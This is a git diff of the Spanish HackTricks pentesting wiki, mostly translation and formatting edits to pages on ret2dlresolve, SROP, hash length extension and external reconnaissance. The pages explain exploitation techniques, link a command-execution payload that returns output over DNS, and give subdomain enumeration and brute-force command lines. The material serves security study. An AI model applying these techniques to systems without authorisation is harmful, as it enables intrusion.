diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index fedfdef99..b3186537d 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -69,6 +69,12 @@ def ref(matchobj):
return result
+def add_read_time(content):
+ regex = r'(<\/style>\n# .*(?=\n))'
+ new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
+ return new_content
+
+
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
+ new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)
diff --git a/src/README.md b/src/README.md
index b77e0929b..998721bc0 100644
--- a/src/README.md
+++ b/src/README.md
@@ -1,13 +1,10 @@
# HackTricks
-Tiempo de lectura: {{ #reading_time }}
-
_Los logos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
-> [!TIP]
-> **Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking que he aprendido de CTFs, aplicaciones de la vida real, leyendo investigaciones y noticias.**
+> [!TIP] > **Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking/cualquier cosa que he aprendido de CTFs, aplicaciones de la vida real, leyendo investigaciones y noticias.**
Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **debes seguir al realizar pentesting** en una o más **máquinas:**
@@ -33,9 +30,11 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
-[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
-{% embed url="https://www.rootedcon.com/" %}
+{{#ref}}
+https://www.rootedcon.com/
+{{#endref}}
---
@@ -47,7 +46,9 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
-{% embed url="https://go.intigriti.com/hacktricks" %}
+{{#ref}}
+https://go.intigriti.com/hacktricks
+{{#endref}}
---
@@ -56,11 +57,13 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.
+Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.
-Accede hoy:
+Obtén acceso hoy:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{{#ref}}
+https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
+{{#endref}}
---
@@ -86,7 +89,9 @@ Accede hoy:
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
+{{#ref}}
+https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
+{{#endref}}
---
@@ -94,10 +99,10 @@ Accede hoy:
-**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
+**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a los resultados de motores de búsqueda**. Ellos scrapean motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
-Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
-A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
+Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scrapeo de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
+A diferencia de otros proveedores, **SerpApi no solo scrapea resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\
Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
@@ -111,7 +116,9 @@ Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_
Aprende las tecnologías y habilidades necesarias para realizar investigación de vulnerabilidades, pruebas de penetración y ingeniería inversa para proteger aplicaciones y dispositivos móviles. **Domina la seguridad de iOS y Android** a través de nuestros cursos a demanda y **certifícate**:
-{% embed url="https://academy.8ksec.io/" %}
+{{#ref}}
+https://academy.8ksec.io/
+{{#endref}}
---
@@ -121,13 +128,15 @@ Aprende las tecnologías y habilidades necesarias para realizar investigación d
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar **servicios de seguridad ofensiva** con un enfoque **moderno**.
-WebSec es una **empresa de seguridad todo en uno**, lo que significa que lo hacen todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
+WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks.**
-{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
+{{#ref}}
+https://www.youtube.com/watch?v=Zq2JycGDCPM
+{{#endref}}
## Licencia y Descargo de Responsabilidad
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index e1a3a10b8..ebcb79813 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -10,14 +10,16 @@ La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estru
Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
-Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`.
+Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `'$'/bin/sh'`.
> [!TIP]
> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc.
Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video:
-{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+{{#ref}}
+https://youtu.be/ADULSwnQs-s?feature=shared
+{{#endref}}
O consulta estas páginas para una explicación paso a paso:
@@ -54,7 +56,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
```
## Ejemplo
-### Pwntools Puro
+### Pure Pwntools
Puedes encontrar un [**ejemplo de esta técnica aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **que contiene una muy buena explicación de la cadena ROP final**, pero aquí está el exploit final utilizado:
```python
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index bc189bcfb..fca4bca33 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -1,19 +1,19 @@
-# SROP - Programación Orientada a Señales
+# SROP - Programación Orientada a la Señal
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
-**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
+**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un controlador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **controlador de señales**, una función especial diseñada para tratar con señales.
-Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
+Después de que el controlador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del controlador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el controlador de señales.
La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
> [!CAUTION]
> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
-Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
+Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
@@ -57,7 +57,9 @@ Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila
```
Para una mejor explicación, consulta también:
-{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
+{{#ref}}
+https://youtu.be/ADULSwnQs-s?feature=shared
+{{#endref}}
## Ejemplo
diff --git a/src/burp-suite.md b/src/burp-suite.md
index d5ddcb478..dc38742e2 100644
--- a/src/burp-suite.md
+++ b/src/burp-suite.md
@@ -4,13 +4,15 @@
- **Lista Simple:** Solo una lista que contiene una entrada en cada línea
- **Archivo en Tiempo de Ejecución:** Una lista leída en tiempo de ejecución (no cargada en memoria). Para soportar listas grandes.
-- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primera letra en mayúscula y el resto en minúsculas-, a Nombre Propio - Primera letra en mayúscula y el resto permanece igual-).
-- **Números:** Generar números de X a Y usando un paso Z o aleatoriamente.
+- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primer letra en mayúscula y el resto en minúsculas-, a Nombre Propio - Primer letra en mayúscula y el resto permanece igual-).
+- **Números:** Generar números de X a Y usando Z pasos o aleatoriamente.
- **Fuerza Bruta:** Conjunto de caracteres, longitud mínima y máxima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para ejecutar comandos y obtener la salida a través de solicitudes DNS a burpcollab.
-{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
+{{#ref}}
+https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
+{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md
index 201d10733..dfa71d9cc 100644
--- a/src/crypto-and-stego/esoteric-languages.md
+++ b/src/crypto-and-stego/esoteric-languages.md
@@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
-{% embed url="https://codewithrockstar.com/" %}
+{{#ref}}
+https://codewithrockstar.com/
+{{#endref}}
## PETOOH
```
diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md
index 84e9a8939..61c3ed755 100644
--- a/src/crypto-and-stego/hash-length-extension-attack.md
+++ b/src/crypto-and-stego/hash-length-extension-attack.md
@@ -1,4 +1,4 @@
-# Hash Length Extension Attack
+# Ataque de Extensión de Longitud de Hash
{{#include ../banners/hacktricks-training.md}}
@@ -9,9 +9,9 @@ Imagina un servidor que está **firmando** algunos **datos** al **agregar** un *
- **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado)
- **Los datos de texto claro**
- **El algoritmo (y es vulnerable a este ataque)**
-- **El padding es conocido**
+- **El relleno es conocido**
- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
-- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
+- El relleno varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
@@ -19,17 +19,19 @@ Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
-Entonces, imagina que el secreto es "secret" y los datos son "data", el MD5 de "secretdata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
-Si un atacante quiere agregar la cadena "append", puede:
+Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
+Si un atacante quiere agregar la cadena "agregar" puede:
- Generar un MD5 de 64 "A"s
- Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
-- Agregar la cadena "append"
-- Terminar el hash y el hash resultante será un **válido para "secret" + "data" + "padding" + "append"**
+- Agregar la cadena "agregar"
+- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "relleno" + "agregar"**
### **Herramienta**
-{% embed url="https://github.com/iagox86/hash_extender" %}
+{{#ref}}
+https://github.com/iagox86/hash_extender
+{{#endref}}
### Referencias
diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
index 429b13054..bd67f5b79 100644
--- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
+++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
@@ -4,8 +4,12 @@ Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cu
Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md
index 6c8aeb39d..d7f919e04 100644
--- a/src/cryptography/hash-length-extension-attack.md
+++ b/src/cryptography/hash-length-extension-attack.md
@@ -9,13 +9,13 @@ Imagina un servidor que está **firmando** algunos **datos** al **agregar** un *
- **El algoritmo (y es vulnerable a este ataque)**
- **El padding es conocido**
- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
-- El padding varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto
+- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
## ¿Cómo?
-Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**.
+Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere agregar la cadena "agregar", puede:
@@ -27,7 +27,9 @@ Si un atacante quiere agregar la cadena "agregar", puede:
## **Herramienta**
-{% embed url="https://github.com/iagox86/hash_extender" %}
+{{#ref}}
+https://github.com/iagox86/hash_extender
+{{#endref}}
## Referencias
diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md
index 429b13054..bd67f5b79 100644
--- a/src/cryptography/rc4-encrypt-and-decrypt.md
+++ b/src/cryptography/rc4-encrypt-and-decrypt.md
@@ -4,8 +4,12 @@ Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cu
Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
-{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+{{#ref}}
+https://0xrick.github.io/hack-the-box/kryptos/
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 53ac7bf7a..99719c87b 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
-
## Descubrimiento de Activos
> Se te ha dicho que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa.
@@ -58,7 +57,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
### **Buscando vulnerabilidades**
En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
-Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
+También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** echar un vistazo en este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto y tratar de** hacer fuerza bruta a los servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Dominios
@@ -83,7 +82,7 @@ También puedes usar una herramienta en línea para esta información: [http://p
### **Reverse Whois (loop)**
-Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas inversas de whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
+Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
Puedes usar herramientas en línea como:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
@@ -91,7 +90,7 @@ Puedes usar herramientas en línea como:
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
-- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
+- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**)
- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\
@@ -144,7 +143,7 @@ return fhash
Busca dentro de las páginas web **cadenas que podrían ser compartidas entre diferentes webs en la misma organización**. La **cadena de copyright** podría ser un buen ejemplo. Luego busca esa cadena en **google**, en otros **navegadores** o incluso en **shodan**: `shodan search http.html:"Copyright string"`
-### **Tiempo CRT**
+### **CRT Time**
Es común tener un trabajo cron como
```bash
@@ -156,11 +155,11 @@ Consulta este [**escrito para más información**](https://swarm.ptsecurity.com/
### Información de Mail DMARC
-Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información dmarc**.
+Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
### **Toma Pasiva**
-Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
+Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando algunos subdominios**.
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
@@ -170,7 +169,7 @@ Aparentemente es común que las personas asignen subdominios a IPs que pertenece
**Shodan**
-Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
+Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar por esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **shodan** con el filtro: `ssl:"Tesla Motors"` o usar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
@@ -180,13 +179,11 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
### **Buscando vulnerabilidades**
-Revisa algunos [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
+Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
&#xNAN;_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
-
-
## Subdominios
> Conocemos todas las empresas dentro del alcance, todos los activos de cada empresa y todos los dominios relacionados con las empresas.
@@ -194,11 +191,11 @@ Si encuentras algún **dominio con una IP diferente** de las que ya encontraste
Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
> [!TIP]
-> Ten en cuenta que algunas de las herramientas y técnicas para encontrar dominios también pueden ayudar a encontrar subdominios
+> Ten en cuenta que algunas de las herramientas y técnicas para encontrar dominios también pueden ayudar a encontrar subdominios.
### **DNS**
-Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
+Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar por **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
```bash
dnsrecon -a -d tesla.com
```
@@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
+- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -344,11 +341,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
-- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor
+- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolutor
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
+- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando bruteforce activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -373,12 +370,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
-- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator utilizará uno propio.
+- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará el suyo propio.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
